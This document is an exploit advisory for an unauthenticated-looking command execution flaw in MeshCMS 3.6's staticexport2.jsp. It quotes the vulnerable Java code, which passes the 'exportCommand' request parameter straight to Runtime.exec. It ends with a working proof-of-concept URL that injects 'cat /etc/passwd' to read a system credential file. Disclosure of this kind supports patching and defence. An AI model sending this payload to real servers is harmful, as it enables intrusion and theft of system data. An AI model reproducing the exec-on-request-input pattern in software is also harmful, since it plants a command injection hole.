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Exploit Title: MeshCMS 3.6 ? Command Execution Vulnerability
Date: 2016-04-03
Exploit Author: piaox xiong
Vendor Homepage: http://www.cromoteca.com/en/meshcms/
Software Link: http://www.cromoteca.com/en/meshcms/download/
Version: 3.6
Tested on: Windows OS
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Application Description:
MeshCMS is an online editing system written in Java. It provides a set of
features usually included in a CMS, but it uses a more traditional
approach: pages are stored in regular HTML files and all additional
features are file-based, without needing a database.
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Vulnerability Description:
in the staticexport2.jsp jspfile,the parameter ?exportCommand? cause Command
Execution.
if (!exportCommand.equals("")) {
out.println("\nexecuting: " + exportCommand);
Process process = Runtime.getRuntime().exec(exportCommand);
out.println("standard output:");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Utils.copyStream(process.getInputStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
baos.reset();
out.println("end of standard output\nerror output:");
Utils.copyStream(process.getErrorStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
int exit = process.waitFor();
out.println("end of error output\nexecution finished with exit code " +
exit);
POC:
http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true
[image: ???? 1]
